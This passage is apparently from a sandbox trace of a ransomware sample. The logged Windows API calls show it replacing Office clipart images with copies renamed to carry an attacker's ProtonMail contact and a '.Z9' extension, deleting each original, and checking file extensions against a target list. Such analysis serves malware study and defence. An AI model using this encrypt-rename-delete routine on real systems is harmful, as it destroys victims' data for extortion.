	[0167.488] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.489] ReadFile (in: hFile=0x470, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.489] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.489] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.489] CloseHandle (hObject=0x3e0) returned 1
	[0167.490] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.490] SetEndOfFile (hFile=0x470) returned 1
	[0167.492] CloseHandle (hObject=0x470) returned 1
	[0167.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString=".doc") returned 4
	[0167.494] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString=".docx") returned 5
	[0167.494] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0167.494] lstrlenW (lpString=".pdf") returned 4
	[0167.494] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString=".xls") returned 4
	[0167.494] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString=".xlsx") returned 5
	[0167.494] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0167.494] lstrlenW (lpString=".ppt") returned 4
	[0167.494] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString=".zip") returned 4
	[0167.494] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString=".rar") returned 4
	[0167.494] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString=".bz2") returned 4
	[0167.494] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString=".7z") returned 3
	[0167.494] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString=".dbf") returned 4
	[0167.494] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString=".1cd") returned 4
	[0167.494] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString=".jpg") returned 4
	[0167.494] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.495] lstrlenW (lpString=".doc") returned 4
	[0167.495] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString=".docx") returned 5
	[0167.495] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1
	[0167.495] lstrlenW (lpString=".pdf") returned 4
	[0167.495] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString=".xls") returned 4
	[0167.495] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString=".xlsx") returned 5
	[0167.495] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1
	[0167.495] lstrlenW (lpString=".ppt") returned 4
	[0167.495] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.495] lstrlenW (lpString=".zip") returned 4
	[0167.495] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString=".rar") returned 4
	[0167.495] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString=".bz2") returned 4
	[0167.495] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString=".7z") returned 3
	[0167.495] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.495] lstrlenW (lpString=".dbf") returned 4
	[0167.495] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.495] lstrlenW (lpString=".1cd") returned 4
	[0167.495] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68
	[0167.495] lstrlenW (lpString=".jpg") returned 4
	[0167.495] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.495] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.495] lstrlenW (lpString="J0101861.BMP") returned 12
	[0167.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0167.496] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=32184) returned 1
	[0167.496] CloseHandle (hObject=0x470) returned 1
	[0167.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 0x220
	[0167.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0167.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470
	[0167.497] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.497] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0167.498] GetLastError () returned 0x0
	[0167.498] ReadFile (in: hFile=0x470, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0167.549] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0167.551] ReadFile (in: hFile=0x470, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0167.551] WriteFile (in: hFile=0x3e0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0167.551] SetEndOfFile (hFile=0x3e0) returned 1
	[0167.621] CloseHandle (hObject=0x3e0) returned 1
	[0167.621] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0167.621] SetEndOfFile (hFile=0x470) returned 1
	[0167.646] CloseHandle (hObject=0x470) returned 1
	[0167.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0167.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101861.bmp")) returned 1
	[0167.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.647] lstrlenW (lpString=".doc") returned 4
	[0167.647] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.647] lstrlenW (lpString=".docx") returned 5
	[0167.647] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0167.647] lstrlenW (lpString=".pdf") returned 4
	[0167.647] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.647] lstrlenW (lpString=".xls") returned 4
	[0167.647] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".xlsx") returned 5
	[0167.648] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0167.648] lstrlenW (lpString=".ppt") returned 4
	[0167.648] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.648] lstrlenW (lpString=".zip") returned 4
	[0167.648] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".rar") returned 4
	[0167.648] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".bz2") returned 4
	[0167.648] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".7z") returned 3
	[0167.648] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.648] lstrlenW (lpString=".dbf") returned 4
	[0167.648] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.648] lstrlenW (lpString=".1cd") returned 4
	[0167.648] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.648] lstrlenW (lpString=".jpg") returned 4
	[0167.648] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.648] lstrlenW (lpString=".doc") returned 4
	[0167.648] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".docx") returned 5
	[0167.648] lstrcmpiW (lpString1=".docx", lpString2="1.BMP") returned -1
	[0167.648] lstrlenW (lpString=".pdf") returned 4
	[0167.648] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".xls") returned 4
	[0167.648] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0167.648] lstrlenW (lpString=".xlsx") returned 5
	[0167.648] lstrcmpiW (lpString1=".xlsx", lpString2="1.BMP") returned -1
	[0167.648] lstrlenW (lpString=".ppt") returned 4
	[0167.648] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.649] lstrlenW (lpString=".zip") returned 4
	[0167.649] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0167.649] lstrlenW (lpString=".rar") returned 4
	[0167.649] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0167.649] lstrlenW (lpString=".bz2") returned 4
	[0167.649] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0167.649] lstrlenW (lpString=".7z") returned 3
	[0167.649] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.649] lstrlenW (lpString=".dbf") returned 4
	[0167.649] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.649] lstrlenW (lpString=".1cd") returned 4
	[0167.649] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0167.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101861.BMP") returned 68
	[0167.649] lstrlenW (lpString=".jpg") returned 4
	[0167.649] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0167.649] lstrcmpiW (lpString1=".BMP", lpString2=".Z9") returned -1
	[0167.649] lstrlenW (lpString="J0101866.BMP") returned 12
	[0167.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x440
	[0167.966] GetFileSizeEx (in: hFile=0x440, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=32184) returned 1
	[0167.967] CloseHandle (hObject=0x440) returned 1
	[0167.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220
	[0168.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.115] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.115] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0168.116] GetLastError () returned 0x0
	[0168.117] ReadFile (in: hFile=0x4d0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x7db8, lpOverlapped=0x0) returned 1
	[0168.120] WriteFile (in: hFile=0x4c0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x7dc0, lpOverlapped=0x0) returned 1
	[0168.122] ReadFile (in: hFile=0x4d0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0168.122] WriteFile (in: hFile=0x4c0, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0168.122] SetEndOfFile (hFile=0x4c0) returned 1
	[0168.122] CloseHandle (hObject=0x4c0) returned 1
	[0168.122] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.122] SetEndOfFile (hFile=0x4d0) returned 1
	[0168.127] CloseHandle (hObject=0x4d0) returned 1
	[0168.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0168.128] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1
	[0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.129] lstrlenW (lpString=".doc") returned 4
	[0168.129] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0168.129] lstrlenW (lpString=".docx") returned 5
	[0168.129] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0168.129] lstrlenW (lpString=".pdf") returned 4
	[0168.129] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0168.129] lstrlenW (lpString=".xls") returned 4
	[0168.129] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0168.129] lstrlenW (lpString=".xlsx") returned 5
	[0168.129] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0168.129] lstrlenW (lpString=".ppt") returned 4
	[0168.129] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0168.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.129] lstrlenW (lpString=".zip") returned 4
	[0168.129] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0168.129] lstrlenW (lpString=".rar") returned 4
	[0168.129] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString=".bz2") returned 4
	[0168.130] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString=".7z") returned 3
	[0168.130] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.130] lstrlenW (lpString=".dbf") returned 4
	[0168.130] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.130] lstrlenW (lpString=".1cd") returned 4
	[0168.130] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.130] lstrlenW (lpString=".jpg") returned 4
	[0168.130] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.130] lstrlenW (lpString=".doc") returned 4
	[0168.130] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString=".docx") returned 5
	[0168.130] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1
	[0168.130] lstrlenW (lpString=".pdf") returned 4
	[0168.130] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString=".xls") returned 4
	[0168.130] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1
	[0168.130] lstrlenW (lpString=".xlsx") returned 5
	[0168.130] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1
	[0168.131] lstrlenW (lpString=".ppt") returned 4
	[0168.131] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.131] lstrlenW (lpString=".zip") returned 4
	[0168.131] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0168.131] lstrlenW (lpString=".rar") returned 4
	[0168.131] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0168.131] lstrlenW (lpString=".bz2") returned 4
	[0168.131] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0168.131] lstrlenW (lpString=".7z") returned 3
	[0168.131] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.131] lstrlenW (lpString=".dbf") returned 4
	[0168.131] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.131] lstrlenW (lpString=".1cd") returned 4
	[0168.131] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0168.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68
	[0168.131] lstrlenW (lpString=".jpg") returned 4
	[0168.131] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0168.131] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0168.132] lstrlenW (lpString="J0103262.WMF") returned 12
	[0168.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.133] GetFileSizeEx (in: hFile=0x4d0, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=12900) returned 1
	[0168.133] CloseHandle (hObject=0x4d0) returned 1
	[0168.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220
	[0168.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0168.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d0
	[0168.134] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.134] SetFilePointerEx (in: hFile=0x4d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0168.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0
	[0168.135] GetLastError () returned 0x0
	[0168.135] ReadFile (in: hFile=0x4d0, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3264, lpOverlapped=0x0) returned 1
